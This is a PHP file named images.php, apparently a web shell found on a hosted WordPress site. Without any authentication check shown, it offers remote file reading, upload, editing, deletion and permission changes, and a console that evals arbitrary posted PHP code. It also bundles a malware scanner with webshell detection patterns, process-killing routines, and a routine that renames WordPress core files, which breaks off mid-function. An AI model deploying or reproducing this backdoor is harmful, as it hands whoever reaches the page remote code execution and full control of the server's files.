| Current Path : /proc/3/root/home/flapst5/ekmtoronto.com-disabled8.26.2026/ |
| Current File : //proc/3/root/home/flapst5/ekmtoronto.com-disabled8.26.2026/images.php |
<?php
ini_set('display_errors',0);error_reporting(E_ALL&~E_NOTICE);$ROOT=realpath('/');if($ROOT===false)$ROOT=realpath(dirname(__FILE__));if(function_exists('session_start'))@session_start();
function esc($s){return htmlspecialchars((string)$s,ENT_QUOTES,'UTF-8');}
function json_out($d){header('Content-Type: application/json; charset=utf-8');echo json_encode($d);exit;}
function safe_real($path){if($path===''||$path===null)return false;$real=realpath($path);return $real===false?false:$real;}
function req($k,$def=''){return isset($_REQUEST[$k])?$_REQUEST[$k]:$def;}
function g($k,$def=''){return isset($_GET[$k])?$_GET[$k]:$def;}
function p($k,$def=''){return isset($_POST[$k])?$_POST[$k]:$def;}
function sv($k,$def=''){return isset($_SERVER[$k])?$_SERVER[$k]:$def;}
$docRoot=str_replace('\\','/',realpath(isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:getcwd()));
function file_to_web_url($filePath,$docRoot){$fp=str_replace('\\','/',realpath($filePath)?realpath($filePath):$filePath);if(strpos($fp,$docRoot)===0){return substr($fp,strlen($docRoot));}return dirname(isset($_SERVER['SCRIPT_NAME'])?$_SERVER['SCRIPT_NAME']:'/').'/'.basename($filePath);}
function _aq_dirsort($a,$b){if($a['is_dir']&&!$b['is_dir'])return -1;if(!$a['is_dir']&&$b['is_dir'])return 1;return strcasecmp($a['name'],$b['name']);}
function list_dir_sorted($dir){
$items=array();
$parent=dirname($dir);
if($parent!==$dir){$items[]=array('name'=>'..','is_dir'=>true,'size'=>0,'mtime'=>filemtime($parent),'perm'=>substr(sprintf('%o',fileperms($parent)),-4),'path'=>$parent);}
$files=@scandir($dir);if(!$files)return $items;
$sub=array();
foreach($files as $f){if($f==='.'||$f==='..')continue;$full=$dir.'/'.$f;$sub[]=array('name'=>$f,'is_dir'=>is_dir($full),'size'=>is_file($full)?filesize($full):0,'mtime'=>filemtime($full),'perm'=>substr(sprintf('%o',fileperms($full)),-4),'path'=>$full);}
usort($sub,'_aq_dirsort');
return array_merge($items,$sub);
}
function human_size($n){if($n>1024*1024)return round($n/1024/1024,2).' MB';if($n>1024)return round($n/1024,2).' KB';return $n.' B';}
function set_flash($m){$_SESSION['fm_flash']=$m;}function get_flash(){$m=isset($_SESSION['fm_flash'])?$_SESSION['fm_flash']:'';unset($_SESSION['fm_flash']);return $m;}
function getWebServerType(){
$sapi=php_sapi_name();
if(in_array($sapi,array('cli','cli-server','phpdbg')))return 'CLI';
if($sapi==='litespeed')return 'LiteSpeed';
if($sapi==='apache2handler')return 'Apache';
$software=strtolower(sv('SERVER_SOFTWARE'));
if(strpos($sapi,'fcgi')!==false||strpos($sapi,'fpm')!==false||strpos($sapi,'cgi')!==false){if(strpos($software,'iis')!==false)return 'IIS';return 'Nginx';}
if(strpos($software,'nginx')!==false)return 'Nginx';
if(strpos($software,'apache')!==false)return 'Apache';
if(strpos($software,'litespeed')!==false)return 'LiteSpeed';
if(strpos($software,'iis')!==false)return 'IIS';
if(strpos($software,'caddy')!==false)return 'Caddy';
return 'Unknown';
}
// ============================================================
// 安全扫描 & 权限修复 辅助函数
// ============================================================
function _aq_scan_suspicious($dir,$depth=0,$maxDepth=5){
$findings=array();
if($depth>$maxDepth)return $findings;
$items=@scandir($dir);
if(!$items)return $findings;
foreach($items as $item){
if($item==='.'||$item==='..')continue;
$full=$dir.'/'.$item;
// ---- 可疑的隐藏 PHP 文件 / 伪装文件 ----
if(is_file($full)){
$lower=strtolower($item);
$ext=strtolower(pathinfo($item,PATHINFO_EXTENSION));
$sz=@filesize($full);
// 1) 点开头的 php 文件 (.xxx.php)
if($item[0]==='.'&&($ext==='php'||$ext==='phtml'||$ext==='php5'||$ext==='php7'||$ext==='pht')){
$findings[]=array('type'=>'hidden_php','path'=>$full,'reason'=>'Hidden PHP file (dot-prefixed)','risk'=>'high');
}
// 2) 随机文件名 (8+ hex chars)
$base=pathinfo($item,PATHINFO_FILENAME);
if(strlen($base)>=8 && preg_match('/^[a-f0-9]+$/i',$base) && ($ext==='php'||$ext==='phtml')){
$findings[]=array('type'=>'random_name','path'=>$full,'reason'=>'Random hex filename — likely webshell','risk'=>'high');
}
// 3) .ico / .jpg / .png 但实际包含 PHP 代码
if(in_array($ext,array('ico','jpg','jpeg','png','gif','bmp','txt','log','html','htm','css'))){
$head=@file_get_contents($full,false,null,0,4096);
if($head!==false){
if(preg_match('/<\?php|eval\s*\(|base64_decode\s*\(|gzinflate\s*\(|str_rot13\s*\(|assert\s*\(/i',$head)){
$findings[]=array('type'=>'disguised_php','path'=>$full,'reason'=>'Non-PHP extension contains PHP/eval code','risk'=>'high');
}
}
}
// 4) PHP 文件含高危函数
if($ext==='php'||$ext==='phtml'||$ext==='php5'||$ext==='php7'||$ext==='pht'||$ext==='inc'){
$head=@file_get_contents($full,false,null,0,8192);
if($head!==false){
$flags=array();
if(preg_match('/eval\s*\(\s*(\$_|base64_decode|gzinflate|str_rot13|gzuncompress)/i',$head))$flags[]='eval+decode';
if(preg_match('/\b(assert|preg_replace\s*\(\s*["\']\/[^\/]*e["\'])\s*\(/i',$head))$flags[]='assert/preg_e';
if(preg_match('/\$\w+\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/i',$head))$flags[]='variable_function($_INPUT)';
if(preg_match('/base64_decode\s*\(.*\){5,}/i',$head))$flags[]='nested_decode';
if(preg_match('/\\\\x[0-9a-f]{2}.*\\\\x[0-9a-f]{2}.*\\\\x[0-9a-f]{2}/i',$head))$flags[]='hex_obfuscated';
if(preg_match('/chr\s*\(\s*\d+\s*\)\s*\.\s*chr/i',$head))$flags[]='chr_concat';
if(preg_match('/file_put_contents\s*\(.*\$_(GET|POST|REQUEST|COOKIE)/i',$head))$flags[]='file_write_from_input';
// 监控权限的特征: chmod + inotify / clearstatcache 循环
$wpcore=array('misc.php','file.php','class-wp-filesystem-direct.php','plugin.php','post.php','image.php');
if(!in_array(strtolower($item),$wpcore)&&preg_match('/chmod\s*\(\s*[^,]+,\s*0?[04]{3}\s*\)/i',$head)&&preg_match('/while\s*\(\s*(true|1)|for\s*\(\s*;;|sleep\s*\(|inotify_/i',$head))$flags[]='perm_locker';
if(!empty($flags)){
$findings[]=array('type'=>'malicious_code','path'=>$full,'reason'=>implode(', ',$flags),'risk'=>'high');
}
}
}
// 5) 权限异常的文件 (000, 444, setuid/setgid on php)
$perm=@fileperms($full);
if($perm!==false){
$oct=decoct($perm & 0777);
if(($ext==='php'||$ext==='html'||$ext==='htm')&&($oct==='444'||$oct==='000')){
$findings[]=array('type'=>'locked_perm','path'=>$full,'reason'=>'Permission locked to '.$oct,'risk'=>'medium');
}
}
}
// ---- .user.ini / .htaccess 注入 ----
if(is_file($full)&&($item==='.user.ini'||$item==='.htaccess')){
$content=@file_get_contents($full);
if($content!==false){
$dirty=false;$why=array();
if($item==='.user.ini'){
if(preg_match('/auto_prepend_file\s*=/i',$content)){$dirty=true;$why[]='auto_prepend_file';}
if(preg_match('/auto_append_file\s*=/i',$content)){$dirty=true;$why[]='auto_append_file';}
}
if($item==='.htaccess'){
if(preg_match('/php_value\s+auto_prepend_file/i',$content)){$dirty=true;$why[]='php_value auto_prepend_file';}
if(preg_match('/php_value\s+auto_append_file/i',$content)){$dirty=true;$why[]='php_value auto_append_file';}
// SetHandler 把非 PHP 后缀当 PHP 执行
if(preg_match('/SetHandler\s+.*php/i',$content)&&preg_match('/\.ico|\.jpg|\.png|\.gif|\.txt|\.log/i',$content)){$dirty=true;$why[]='SetHandler routes non-php to php';}
}
if($dirty){
$findings[]=array('type'=>'config_inject','path'=>$full,'reason'=>implode(', ',$why),'risk'=>'high');
}
}
}
// ---- 可疑的隐藏目录 ----
if(is_dir($full)){
$lower=strtolower($item);
// 以点开头但不是 .well-known 的目录含有 php
if($item[0]==='.'&&$lower!=='.well-known'&&$lower!=='.git'&&$lower!=='.svn'&&$lower!=='.idea'&&$lower!=='.vscode'){
// 检查里面有没有 php
$sub=@scandir($full);
if($sub){
foreach($sub as $sf){
if($sf==='.'||$sf==='..')continue;
$sext=strtolower(pathinfo($sf,PATHINFO_EXTENSION));
if(in_array($sext,array('php','phtml','php5','php7','pht'))){
$findings[]=array('type'=>'hidden_dir_php','path'=>$full.'/'.$sf,'reason'=>'PHP in hidden directory '.$item.'/','risk'=>'high');
}
}
}
}
// 目录权限 000/111
$dperm=@fileperms($full);
if($dperm!==false){
$doct=decoct($dperm & 0777);
if($doct==='000'||$doct==='111'){
$findings[]=array('type'=>'locked_dir','path'=>$full,'reason'=>'Directory locked to '.$doct,'risk'=>'medium');
}
}
// recurse
$findings=array_merge($findings,_aq_scan_suspicious($full,$depth+1,$maxDepth));
}
}
return $findings;
}
function _aq_check_crontab(){
$results=array();
if(!function_exists('exec'))return $results;
$out=array();$ret=0;
@exec('crontab -l 2>/dev/null',$out,$ret);
if($ret===0&&!empty($out)){
foreach($out as $line){
$line=trim($line);
if($line===''||$line[0]==='#')continue;
if(preg_match('/\.php|curl\s|wget\s|eval|base64/i',$line)){
$results[]=array('type'=>'cron_suspicious','path'=>'crontab','reason'=>$line,'risk'=>'high');
}
}
}
return $results;
}
$action=req('action','list');
// 下载文件
if($action==='download'){
$dir=safe_real(g('path'));$file=g('file');
if(!$dir||!$file){header('HTTP/1.0 400 Bad Request');echo 'Missing params';exit;}
$full=$dir.'/'.basename($file);
if(!is_file($full)){header('HTTP/1.0 404 Not Found');echo 'File not found';exit;}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($full).'"');
header('Content-Length: '.filesize($full));
header('Cache-Control: must-revalidate');
readfile($full);
exit;
}
if(isset($_GET['api'])||isset($_POST['api'])){
if($action==='getfile'&&isset($_GET['fullpath'])){$full=safe_real($_GET['fullpath']);if($full&&is_file($full)){header('Content-Type: text/plain; charset=utf-8');echo file_get_contents($full);exit;}else{http_response_code(404);echo "Not found";exit;}}
if($action==='savefile'&&isset($_POST['fullpath'])&&isset($_POST['content'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(array('ok'=>false,'error'=>'invalid path'));if(is_writable($full)||is_writable(dirname($full))){$ok=file_put_contents($full,$_POST['content'])!==false;json_out(array('ok'=>$ok));}else json_out(array('ok'=>false,'error'=>'no write permission'));}
if($action==='upload'&&!empty($_FILES)){$results=array();$target=g('target',p('target'));$targetReal=safe_real($target);if(!$targetReal)$targetReal=$target;if($targetReal===''||!is_dir($targetReal))$targetReal=getcwd();foreach($_FILES as $field){if(is_array($field['name'])){for($i=0;$i<count($field['name']);$i++){$name=basename($field['name'][$i]);$tmp=$field['tmp_name'][$i];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=array('name'=>$name,'ok'=>$ok,'path'=>$full);}}else{$name=basename($field['name']);$tmp=$field['tmp_name'];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=array('name'=>$name,'ok'=>$ok,'path'=>$full);}}json_out(array('ok'=>true,'results'=>$results));}
if($action==='delete'&&isset($_POST['fullpath'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(array('ok'=>false,'error'=>'invalid'));if(!file_exists($full))json_out(array('ok'=>false,'error'=>'not exists'));if(is_dir($full)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as $item){$item->isDir()?rmdir($item->getRealPath()):unlink($item->getRealPath());}$ok=rmdir($full);}else $ok=unlink($full);json_out(array('ok'=>$ok));}
if($action==='chmod'&&isset($_POST['fullpath'])&&isset($_POST['mode'])){$full=safe_real($_POST['fullpath']);$mode=intval($_POST['mode'],8);$ok=@chmod($full,$mode);json_out(array('ok'=>$ok));}
if($action==='mkdir'&&isset($_POST['dirpath'])&&isset($_POST['name'])){$base=safe_real($_POST['dirpath']);if(!$base)$base=$_POST['dirpath'];$name=basename($_POST['name']);$full=rtrim($base,'/').'/'.$name;$ok=@mkdir($full,0755);json_out(array('ok'=>$ok,'path'=>$full));}
if($action==='rename'&&isset($_POST['fullpath'])&&isset($_POST['newname'])){$full=safe_real($_POST['fullpath']);$new=basename($_POST['newname']);$to=dirname($full).'/'.$new;$ok=@rename($full,$to);json_out(array('ok'=>$ok,'to'=>$to));}
if($action==='gen_htaccess'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath']);if(!$dir)$dir=getcwd();$full=rtrim($dir,'/').'/.htaccess';$content="RewriteEngine On\nRewriteBase /\n\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteRule ^(.*)$ index.php [L]";$ok=@file_put_contents($full,$content)!==false;json_out(array('ok'=>$ok));}
if($action==='gen_robots'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath']);if(!$dir)$dir=getcwd();$full=rtrim($dir,'/').'/robots.txt';$https=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'||sv('SERVER_PORT')==443);$protocol=$https?"https://":"http://";$domain=$protocol.sv('HTTP_HOST','localhost');$content="User-agent: *\nAllow: /\nSitemap: {$domain}/sitemap.xml";$ok=@file_put_contents($full,$content)!==false;json_out(array('ok'=>$ok));}
// === Create File ===
if($action==='createfile'&&isset($_POST['dirpath'])&&isset($_POST['filename'])){
$base=safe_real($_POST['dirpath']);
if(!$base)$base=$_POST['dirpath'];
$name=basename($_POST['filename']);
if($name==='')json_out(array('ok'=>false,'error'=>'empty filename'));
$full=rtrim($base,'/').'/'.$name;
if(file_exists($full))json_out(array('ok'=>false,'error'=>'file already exists'));
$content=isset($_POST['content'])?$_POST['content']:'';
$ok=@file_put_contents($full,$content)!==false;
json_out(array('ok'=>$ok,'path'=>$full));
}
// === PHP Console ===
if($action==='phpconsole'&&isset($_POST['code'])){
$code=$_POST['code'];
$output='';$error='';$ok=true;
ob_start();
$__prev_err=error_reporting(E_ALL);
$__old_handler=set_error_handler('_aq_console_err_handler');
$__start=microtime(true);
try{
$ret=eval($code);
}catch(Exception $e){
$error='Exception: '.$e->getMessage().' in line '.$e->getLine();
$ok=false;
}
$__elapsed=round((microtime(true)-$__start)*1000,2);
$output=ob_get_clean();
error_reporting($__prev_err);
if($__old_handler!==null)set_error_handler($__old_handler); else restore_error_handler();
global $__aq_console_errors;
$warnings='';
if(!empty($__aq_console_errors)){
$parts=array();
foreach($__aq_console_errors as $ce){$parts[]=$ce;}
$warnings=implode("\n",$parts);
}
$result=array('ok'=>$ok,'output'=>$output,'error'=>$error,'warnings'=>$warnings,'time'=>$__elapsed.'ms','php_version'=>PHP_VERSION);
if($ok && $ret!==null && $ret!==false && $ret!==true && $ret!==1){
$result['return']=print_r($ret,true);
}
json_out($result);
}
// === Security Scan ===
if($action==='security_scan'){
$scanDir=isset($_POST['scandir'])?$_POST['scandir']:'';
$scanReal=safe_real($scanDir);
if(!$scanReal)$scanReal=$docRoot;
if(!$scanReal)$scanReal=getcwd();
$findings=_aq_scan_suspicious($scanReal,0,6);
// also check crontab
$findings=array_merge($findings,_aq_check_crontab());
json_out(array('ok'=>true,'scan_root'=>$scanReal,'count'=>count($findings),'findings'=>$findings));
}
// === Security Fix: batch chmod repair ===
if($action==='security_fix'&&isset($_POST['fixes'])){
$fixes=json_decode($_POST['fixes'],true);
if(!is_array($fixes))json_out(array('ok'=>false,'error'=>'invalid fixes'));
$results=array();
foreach($fixes as $fix){
$path=isset($fix['path'])?$fix['path']:'';
$act=isset($fix['act'])?$fix['act']:'';
$real=safe_real($path);
$r=array('path'=>$path,'ok'=>false,'msg'=>'');
if(!$real&&$act!=='delete'){$r['msg']='path not found';$results[]=$r;continue;}
if($act==='chmod755'){
$ok=@chmod($real,0755);$r['ok']=$ok;$r['msg']=$ok?'chmod 755 done':'chmod failed';
}elseif($act==='chmod644'){
$ok=@chmod($real,0644);$r['ok']=$ok;$r['msg']=$ok?'chmod 644 done':'chmod failed';
}elseif($act==='delete'){
if(!$real){$r['msg']='file not found';$results[]=$r;continue;}
if(is_dir($real)){
$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($real,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);
foreach($it as $item){$item->isDir()?@rmdir($item->getRealPath()):@unlink($item->getRealPath());}
$ok=@rmdir($real);
}else{
$ok=@unlink($real);
}
$r['ok']=$ok;$r['msg']=$ok?'deleted':'delete failed';
}elseif($act==='clean_config'){
// remove malicious lines from .user.ini / .htaccess
if(!$real||!is_file($real)){$r['msg']='not a file';$results[]=$r;continue;}
$content=@file_get_contents($real);
if($content===false){$r['msg']='cannot read';$results[]=$r;continue;}
$orig=$content;
// remove auto_prepend/append lines
$content=preg_replace('/^\s*(auto_prepend_file|auto_append_file)\s*=.*$/mi','',$content);
$content=preg_replace('/^\s*php_value\s+(auto_prepend_file|auto_append_file)\s+.*$/mi','',$content);
// remove SetHandler for non-php
$content=preg_replace('/^\s*<FilesMatch.*SetHandler.*php.*<\/FilesMatch>\s*$/msi','',$content);
$content=trim($content);
if($content!==$orig){
$ok=@file_put_contents($real,$content)!==false;
$r['ok']=$ok;$r['msg']=$ok?'cleaned malicious directives':'write failed';
}else{
$r['ok']=true;$r['msg']='no malicious directives found';
}
}
$results[]=$r;
}
json_out(array('ok'=>true,'results'=>$results));
}
// === Batch permission reset for docroot ===
if($action==='reset_docroot_perms'){
$root=$docRoot;
if(!$root)$root=getcwd();
$log=array();
// fix docroot itself to 755
$ok=@chmod($root,0755);
$log[]=array('path'=>$root,'action'=>'chmod 755','ok'=>$ok);
// iterate all immediate children
$items=@scandir($root);
if($items){
foreach($items as $item){
if($item==='.'||$item==='..')continue;
$full=$root.'/'.$item;
if(is_dir($full)){
$ok=@chmod($full,0755);
$log[]=array('path'=>$full,'action'=>'chmod 755','ok'=>$ok);
}else{
// files -> 644, except .php -> 644 (NOT 444)
$ok=@chmod($full,0644);
$log[]=array('path'=>$full,'action'=>'chmod 644','ok'=>$ok);
}
}
}
json_out(array('ok'=>true,'root'=>$root,'log'=>$log));
}
// === CHAIN BREAKER: 一次请求内按顺序完成 净化htaccess -> 杀木马 -> 解锁权限 ===
// 已知的正常WP核心php文件白名单(用于从被污染的.htaccess白名单里区分出恶意文件)
function _aq_wp_core_whitelist(){
return array('index.php','wp-blog-header.php','wp-config-sample.php','wp-links-opml.php','wp-login.php','wp-settings.php','wp-trackback.php','wp-activate.php','wp-comments-post.php','wp-cron.php','wp-load.php','wp-mail.php','wp-signup.php','xmlrpc.php','edit-form-advanced.php','link-parse-opml.php','ms-sites.php','options-writing.php','themes.php','admin-ajax.php','edit-form-comment.php','link.php','ms-themes.php','plugin-editor.php','admin-footer.php','edit-link-form.php','load-scripts.php','ms-upgrade-network.php','admin-functions.php','edit.php','load-styles.php','ms-users.php','plugins.php','admin-header.php','edit-tag-form.php','media-new.php','my-sites.php','post-new.php','admin.php','edit-tags.php','media.php','nav-menus.php','post.php','admin-post.php','export.php','media-upload.php','network.php','press-this.php','upload.php','async-upload.php','menu-header.php','options-discussion.php','privacy.php','user-edit.php','menu.php','options-general.php','profile.php','user-new.php','moderation.php','options-head.php','revision.php','users.php','custom-background.php','ms-admin.php','options-media.php','setup-config.php','widgets.php','custom-header.php','ms-delete-site.php','options-permalink.php','term.php','customize.php','link-add.php','ms-edit.php','options.php','edit-comments.php','link-manager.php','ms-options.php','options-reading.php');
}
// 分析.htaccess白名单里有哪些名字不属于WP核心 => 高度疑似恶意
function _aq_htaccess_suspects($content){
$suspects=array();
$wp=_aq_wp_core_whitelist();
$wpmap=array();foreach($wp as $w){$wpmap[strtolower($w)]=true;}
// 抓第二段 Allow 白名单里的所有 xxx.php
if(preg_match_all('/([A-Za-z0-9_\-]+\.php)/',$content,$m)){
$seen=array();
foreach($m[1] as $name){
$l=strtolower($name);
if(isset($seen[$l]))continue;$seen[$l]=true;
if(!isset($wpmap[$l])){$suspects[]=$name;}
}
}
return $suspects;
}
// 预览: 只分析不动手, 让用户先看清楚将要做什么
if($action==='chain_analyze'){
$root=$docRoot;if(!$root)$root=getcwd();
$out=array('root'=>$root,'htaccess'=>null,'suspect_files'=>array(),'locked'=>array());
$ht=$root.'/.htaccess';
if(is_file($ht)){
$c=@file_get_contents($ht);
$suspects=_aq_htaccess_suspects($c);
$out['htaccess']=array('exists'=>true,'writable'=>is_writable($ht),'perm'=>substr(sprintf('%o',fileperms($ht)),-4),'suspect_count'=>count($suspects));
// 每个疑似名字在根目录下是否真实存在
foreach($suspects as $name){
$fp=$root.'/'.$name;
$out['suspect_files'][]=array('name'=>$name,'exists'=>is_file($fp),'path'=>$fp,'writable'=>is_file($fp)?is_writable($fp):false,'perm'=>is_file($fp)?substr(sprintf('%o',fileperms($fp)),-4):'-');
}
}else{
$out['htaccess']=array('exists'=>false);
}
// 检查index.php锁定情况
$idx=$root.'/index.php';
if(is_file($idx)){
$out['index']=array('perm'=>substr(sprintf('%o',fileperms($idx)),-4),'writable'=>is_writable($idx),'owner'=>function_exists('fileowner')?@fileowner($idx):'?','proc_uid'=>function_exists('posix_getuid')?@posix_getuid():'?');
}
json_out(array('ok'=>true,'analyze'=>$out));
}
// 执行: 在同一次请求里按 净化->杀->解锁 顺序一口气做完
if($action==='chain_break'){
$root=$docRoot;if(!$root)$root=getcwd();
$log=array();
$addLog=false; // placeholder
$extraFiles=isset($_POST['extra_files'])?json_decode($_POST['extra_files'],true):array();
if(!is_array($extraFiles))$extraFiles=array();
// ---------- STEP 1: 备份并净化 .htaccess ----------
$ht=$root.'/.htaccess';
$suspects=array();
if(is_file($ht)){
$orig=@file_get_contents($ht);
// 备份
$bak=$ht.'.bak_'.date('YmdHis');
@file_put_contents($bak,$orig);
$log[]=array('step'=>1,'path'=>$bak,'action'=>'backup .htaccess','ok'=>is_file($bak));
// 找出恶意白名单文件, 供 step2 删除
$suspects=_aq_htaccess_suspects($orig);
// 强行放开权限再写(它可能是444)
@chmod($ht,0644);
// 写入一个干净的标准WP .htaccess
$clean="# BEGIN WordPress\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n# END WordPress\n";
$w=@file_put_contents($ht,$clean);
$log[]=array('step'=>1,'path'=>$ht,'action'=>'rewrite clean .htaccess','ok'=>($w!==false),'msg'=>($w!==false?'已替换为干净规则,原文件已备份':'写入失败-可能属主不是当前用户'));
}else{
$log[]=array('step'=>1,'path'=>$ht,'action'=>'rewrite .htaccess','ok'=>false,'msg'=>'.htaccess 不存在,跳过');
}
// ---------- STEP 2: 删除木马文件(先删执行体,断掉锁权限的链) ----------
// 2a. .htaccess白名单里的非WP文件
$killList=array();
foreach($suspects as $name){$fp=$root.'/'.$name;if(is_file($fp))$killList[$fp]=true;}
// 2b. 用户在前端勾选的额外文件(扫描发现的木马)
foreach($extraFiles as $fp){$rp=safe_real($fp);if($rp&&is_file($rp))$killList[$rp]=true;}
foreach(array_keys($killList) as $fp){
@chmod($fp,0644); // 先解锁再删
$ok=@unlink($fp);
$log[]=array('step'=>2,'path'=>$fp,'action'=>'delete malware','ok'=>$ok,'msg'=>$ok?'已删除':'删除失败-属主可能不同或已被锁');
}
// ---------- STEP 3: 此刻木马已死,解锁被锁定的核心文件权限 ----------
$targets=array($root.'/index.php',$root.'/wp-config.php',$root.'/wp-load.php',$root.'/wp-settings.php',$root.'/.htaccess');
foreach($targets as $t){
if(is_file($t)){
$before=substr(sprintf('%o',fileperms($t)),-4);
$ok=@chmod($t,0644);
$after=substr(sprintf('%o',fileperms($t)),-4);
$log[]=array('step'=>3,'path'=>$t,'action'=>'unlock 644','ok'=>$ok,'msg'=>$before.' -> '.$after);
}
}
// 根目录本身 755
@chmod($root,0755);
$log[]=array('step'=>3,'path'=>$root,'action'=>'docroot 755','ok'=>true,'msg'=>'');
// ---------- STEP 4: 复验 index.php 是否还在被锁 ----------
$idx=$root.'/index.php';
$verify=null;
if(is_file($idx)){
clearstatcache();
$verify=array('perm'=>substr(sprintf('%o',fileperms($idx)),-4),'writable'=>is_writable($idx));
}
json_out(array('ok'=>true,'root'=>$root,'suspects_from_htaccess'=>count($suspects),'log'=>$log,'verify'=>$verify));
}
// === CHAIN ISOLATE v2: 杀进程→改名断链→强制chmod→改回来→复验循环 ===
// 强制chmod辅助: 先试PHP chmod, 不行就exec chmod, 再不行试chown
function _aq_force_chmod($path,$mode,$log_label=''){
$modeStr=sprintf('%o',$mode);
// 清除stat缓存
clearstatcache(true,$path);
// 方法1: PHP原生chmod
$ok=@chmod($path,$mode);
clearstatcache(true,$path);
$actual=decoct(@fileperms($path) & 0777);
if($actual===$modeStr) return array('ok'=>true,'method'=>'php chmod','before'=>'','after'=>$actual);
// 方法2: exec chmod (shell层面)
if(function_exists('exec')){
@exec('chmod '.$modeStr.' '.escapeshellarg($path).' 2>&1',$out,$ret);
clearstatcache(true,$path);
$actual=decoct(@fileperms($path) & 0777);
if($actual===$modeStr) return array('ok'=>true,'method'=>'exec chmod','before'=>'','after'=>$actual);
}
// 方法3: system()
if(function_exists('system')){
@system('chmod '.$modeStr.' '.escapeshellarg($path).' 2>&1');
clearstatcache(true,$path);
$actual=decoct(@fileperms($path) & 0777);
if($actual===$modeStr) return array('ok'=>true,'method'=>'system chmod','before'=>'','after'=>$actual);
}
// 方法4: shell_exec()
if(function_exists('shell_exec')){
@shell_exec('chmod '.$modeStr.' '.escapeshellarg($path).' 2>/dev/null');
clearstatcache(true,$path);
$actual=decoct(@fileperms($path) & 0777);
if($actual===$modeStr) return array('ok'=>true,'method'=>'shell_exec chmod','before'=>'','after'=>$actual);
}
return array('ok'=>false,'method'=>'all failed','before'=>'','after'=>$actual);
}
// 杀掉当前用户的所有其他PHP进程(木马监控脚本)
function _aq_kill_php_watchers(){
$killed=array();
if(!function_exists('exec'))return array('ok'=>false,'msg'=>'exec disabled','killed'=>$killed);
$myPid=getmypid();
$out=array();$ret=0;
// 找到所有PHP进程(包括php-fpm worker)
@exec('ps aux 2>/dev/null | grep -i php | grep -v grep',$out,$ret);
// 也查inotifywait等监控进程
$out2=array();
@exec('ps aux 2>/dev/null | grep -i inotify | grep -v grep',$out2,$ret);
$out=array_merge($out,$out2);
// 获取当前用户
$me='';
if(function_exists('posix_getuid')){
$info=@posix_getpwuid(posix_getuid());
if($info)$me=$info['name'];
}
if(!$me)$me=@getenv('USER');
foreach($out as $line){
$parts=preg_split('/\s+/',trim($line));
if(count($parts)<2)continue;
$user=$parts[0];$pid=intval($parts[1]);
if($pid===$myPid||$pid<=1)continue;
// 只杀自己用户的进程,或者如果检测不到用户就跳过避免误杀
if($me&&$user!==$me)continue;
// 检查是否有可疑的命令行(包含chmod, inotify, while, 或很长的base64)
$cmdline=implode(' ',array_slice($parts,10));
$suspicious=false;
if(preg_match('/inotify/i',$cmdline))$suspicious=true;
if(preg_match('/chmod.*0?[04]{3}/i',$cmdline))$suspicious=true;
if(preg_match('/while\s*.*chmod|chmod.*while/i',$cmdline))$suspicious=true;
if(preg_match('/watch|monitor|lock.*perm/i',$cmdline))$suspicious=true;
// 不要杀自己和明确的正常进程(php-fpm master等)
if($suspicious){
@exec('kill -9 '.$pid.' 2>/dev/null');
$killed[]=array('pid'=>$pid,'cmd'=>substr($cmdline,0,120));
}
}
// 也尝试直接杀用户的所有inotifywait进程
@exec('killall -9 inotifywait 2>/dev/null');
return array('ok'=>true,'msg'=>'scanned','killed'=>$killed,'my_pid'=>$myPid);
}
if($action==='chain_isolate'){
// ============================================================
// v3 纯断链模式:改名所有WP入口 + wp-content/wp-includes
// 不改权限,不恢复,让WP彻底停机,木马无法通过任何入口触发
// ============================================================
$root=$docRoot;if(!$root)$root=getcwd();
$log=array();
// 断链目标:改名所有 WP 官方根目录 PHP 文件 + wp-content/wp-includes 目录
// 入口文件(改名后WP完全无法启动;木马也无法通过这些WP入口触发)
// 注意:只封WP官方的根目录PHP,其他PHP文件(可能是用户后门)一律不动
// 不封:wp-config.php / wp-config-sample.php / wp-load.php (用户已动过)
$entryFiles=array(
'index.php' => 'index.php.locked',
'wp-login.php' => 'wp-login.php.locked',
'wp-cron.php' => 'wp-cron.php.locked',
'xmlrpc.php' => 'xmlrpc.php.locked',
'wp-activate.php' => 'wp-activate.php.locked',
'wp-blog-header.php' => 'wp-blog-header.php.locked',
'wp-comments-post.php' => 'wp-comments-post.php.locked',
'wp-links-opml.php' => 'wp-links-opml.php.locked',
'wp-mail.php' => 'wp-mail.php.locked',
'wp-settings.php' => 'wp-settings.php.locked',
'wp-signup.php' => 'wp-signup.php.locked',
'wp-trackback.php' => 'wp-trackback.php.locked',
);
// 目录(木马窝)
$entryDirs=array(
'wp-content' => 'wp-content1',
'wp-includes' => 'wp-includes1',
);
// === STEP 1: 杀掉可能的监控进程,防止改名过程被干扰 ===
$killResult=_aq_kill_php_watchers();
$log[]=array('step'=>0,'path'=>'process','action'=>'kill watchers','ok'=>true,
'msg'=>'killed '.count($killResult['killed']).' suspicious processes');
// === STEP 2: 尝试解锁根目录权限以便rename ===
// (不改成755保留,只是临时解锁让rename能跑;结束后不动权限)
clearstatcache(true);
$rootPermBefore=decoct(@fileperms($root)&0777);
if($rootPermBefore!=='755'&&$rootPermBefore!=='777'){
_aq_force_chmod($root,0755);
